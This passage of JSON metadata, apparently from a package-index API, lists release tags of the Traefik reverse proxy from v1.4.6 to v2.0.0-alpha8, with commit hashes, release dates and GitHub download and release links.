rl":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha8/manifests"},{"name":"v2.0.0-alpha7","sha":"fdb1701d1b1c5b0f47ec8f825643645be5ba37be","kind":"commit","published_at":"2019-06-21T15:46:02.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha7/manifests"},{"name":"v2.0.0-alpha6","sha":"38344b342d8aa5a47f2dce8946b4abd6285b368a","kind":"commit","published_at":"2019-06-18T16:10:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha6/manifests"},{"name":"v2.0.0-alpha5","sha":"6069df6cbd10395a686ab4a835b8ede3bff3948f","kind":"commit","published_at":"2019-06-17T21:40:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha5/manifests"},{"name":"v1.7.12","sha":"9da0bcf3aa7348e6ef708f451945976d71e30691","kind":"commit","published_at":"2019-05-29T18:42:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.12","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.12/manifests"},{"name":"v1.7.11","sha":"8a1c3510eaf521fda45f3a215017b2242b7a2e97","kind":"commit","published_at":"2019-04-26T08:34:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.11","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.11/manifests"},{"name":"v2.0.0-alpha4","sha":"01b916eaa07e20b1b2cb324de592fa340e9f6c13","kind":"commit","published_at":"2019-04-17T10:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha4/manifests"},{"name":"v2.0.0-alpha3","sha":"6377a19b1219962044858eb37695f7da66629d3f","kind":"commit","published_at":"2019-03-29T14:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha3/manifests"},{"name":"v1.7.10","sha":"266f5d18a8acc96a78c21db88f741b7efb6668d8","kind":"commit","published_at":"2019-03-28T14:42:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.10","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.10/manifests"},{"name":"v2.0.0-alpha2","sha":"8a86777db86809cd134b2919f78c855f0352e820","kind":"commit","published_at":"2019-03-19T18:24:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha2/manifests"},{"name":"v2.0.0-alpha1","sha":"5d35079809d3595c2ae265030ac4969bd900eaa0","kind":"commit","published_at":"2019-03-18T14:18:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.0.0-alpha1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.0.0-alpha1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.0.0-alpha1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.0.0-alpha1/manifests"},{"name":"v1.7.9","sha":"443902a0f01da4cb844bcc8421816f105e4894dc","kind":"commit","published_at":"2019-02-11T11:24:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.9","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.9/manifests"},{"name":"v1.7.8","sha":"418dca1113acd336d2acecb64f4ca3d2ba468110","kind":"commit","published_at":"2019-01-29T16:22:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.8","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.8/manifests"},{"name":"v1.7.7","sha":"9cddf5616a165baf13ef8530b294a6264955a675","kind":"commit","published_at":"2019-01-08T09:52:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.7","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.7/manifests"},{"name":"v1.7.6","sha":"9203ba5f950c306f2c58cc20b9f90381c056450d","kind":"commit","published_at":"2018-12-14T03:42:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.6","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.6/manifests"},{"name":"v1.7.5","sha":"2a227fa4c7cc1787b10040f1baddef911fb68f68","kind":"commit","published_at":"2018-12-03T10:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.5/manifests"},{"name":"v1.7.4","sha":"1fad7e5a1c0c90a90b73d530950508cf9b939297","kind":"commit","published_at":"2018-10-30T10:32:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.4/manifests"},{"name":"v1.7.3","sha":"c875819a2e6de135cda8a0c7fc4ce516a4b5b4f4","kind":"commit","published_at":"2018-10-15T10:02:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.3/manifests"},{"name":"v1.7.2","sha":"a9deeb321bfc90104964edad0b9949bff7388e82","kind":"commit","published_at":"2018-10-04T13:34:02.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"9e26f0b058223096e3f1da2ccbdaed2fcacb870a","kind":"commit","published_at":"2018-09-28T22:16:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d4311f9cf55f8b49974158fd01ac5ad6006b906b","kind":"commit","published_at":"2018-09-24T09:44:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0/manifests"},{"name":"v1.7.0-rc5","sha":"f63873cc73f367f87bb3768481e30e6b7099f7dc","kind":"commit","published_at":"2018-09-18T13:36:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc5/manifests"},{"name":"v1.7.0-rc4","sha":"c68ebaa2ca0f76863e65b994ef87a9f09d4cecad","kind":"commit","published_at":"2018-09-07T09:34:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc4/manifests"},{"name":"v1.6.6","sha":"feeb7f81a611eb58685ffd28478add6d179b091f","kind":"commit","published_at":"2018-08-20T12:46:02.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.6","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.6/manifests"},{"name":"v1.7.0-rc3","sha":"cfe2f1a1e6c17408fc28d213ce20465575f655ff","kind":"commit","published_at":"2018-08-01T13:28:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc3/manifests"},{"name":"v1.7.0-rc2","sha":"a1911a960867e139965d32cd2793c9ef5f5c5165","kind":"commit","published_at":"2018-07-17T12:30:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc2/manifests"},{"name":"v1.6.5","sha":"bdc0e3bfcf5f6ce9c6dade2dda47737f7c97ef8f","kind":"commit","published_at":"2018-07-10T15:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.5/manifests"},{"name":"v1.7.0-rc1","sha":"ba2046491a34708eb4440c0daf462146d125b8d4","kind":"commit","published_at":"2018-07-09T14:54:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.0-rc1/manifests"},{"name":"v1.6.4","sha":"c1757372d39086ca9cb4d4cee7685f8a369279cd","kind":"commit","published_at":"2018-06-15T15:04:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"446d73fcf5ab7088c9def924f01b110accadf56a","kind":"commit","published_at":"2018-06-05T15:20:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"e3671cbb0445f5950e4042f6526ebd6f220b1070","kind":"commit","published_at":"2018-05-22T15:06:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"1e8df9f24511a683635e21720ac0b32d61de4b19","kind":"commit","published_at":"2018-05-14T19:08:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"c210ab31d90e741dbe7dea48f76dabed0bbf44f0","kind":"commit","published_at":"2018-04-30T21:20:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0/manifests"},{"name":"v1.6.0-rc6","sha":"3df588047df3a1ac84dc97020cadaab277490666","kind":"commit","published_at":"2018-04-17T11:42:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0-rc6","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc6/manifests"},{"name":"v1.6.0-rc5","sha":"85aa1a444a0fb6a19ce66b72e76707662a9a915b","kind":"commit","published_at":"2018-04-12T09:44:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc5/manifests"},{"name":"v1.6.0-rc4","sha":"a19b93c966306bc8f44306afca3f0f83d0a4aa3d","kind":"commit","published_at":"2018-04-04T13:04:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc4/manifests"},{"name":"v1.6.0-rc3","sha":"bfb12f415c3c1653b1c0d8ff04d6daf5fe16c5ca","kind":"commit","published_at":"2018-03-28T15:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc3/manifests"},{"name":"v1.6.0-rc2","sha":"118b4eb07a940e09da59cc5cb64f9dfe9d2df5c8","kind":"tag","published_at":"2018-03-27T14:54:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc2/manifests"},{"name":"v1.6.0-rc1","sha":"30b87985b720f819cf2817d1924fabe802bb1783","kind":"commit","published_at":"2018-03-26T14:40:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.6.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.6.0-rc1/manifests"},{"name":"v1.5.4","sha":"79cd306ac25d20efec61e52da6eec4a6949d8348","kind":"commit","published_at":"2018-03-15T13:26:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"422109b82f9283eb04334a3ed8a6221f6325c418","kind":"commit","published_at":"2018-02-27T11:28:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.3","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"52bad03c8db2d7747d94cb95f740ce1973c9164c","kind":"commit","published_at":"2018-02-12T10:46:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.2","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"54e09b98c74b886c5aa4c7263cd964e8e334c661","kind":"tag","published_at":"2018-01-29T14:08:40.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.1","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"ae9342208ea8935a46d9d70ec44537aca84eb7b7","kind":"commit","published_at":"2018-01-23T16:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.0","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0/manifests"},{"name":"v1.5.0-rc5","sha":"fe426f6fb24b00a8a9c11a8b5dc02616fe86db09","kind":"commit","published_at":"2018-01-15T15:48:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc5/manifests"},{"name":"v1.5.0-rc4","sha":"22bdbd249836cb6a8a8e9c438e89d08335d38d7c","kind":"commit","published_at":"2018-01-04T14:22:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.5.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v1.5.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.5.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.5.0-rc4/manifests"},{"name":"v1.4.6","sha":"741c739ef1df614594cf1f9ecae1d71d336f0900","kind":"commit","published_at":"2018-01-02T11:54:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.4.6","html_url":"https://github.com/traefik/traefik/releases/tag/v1.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1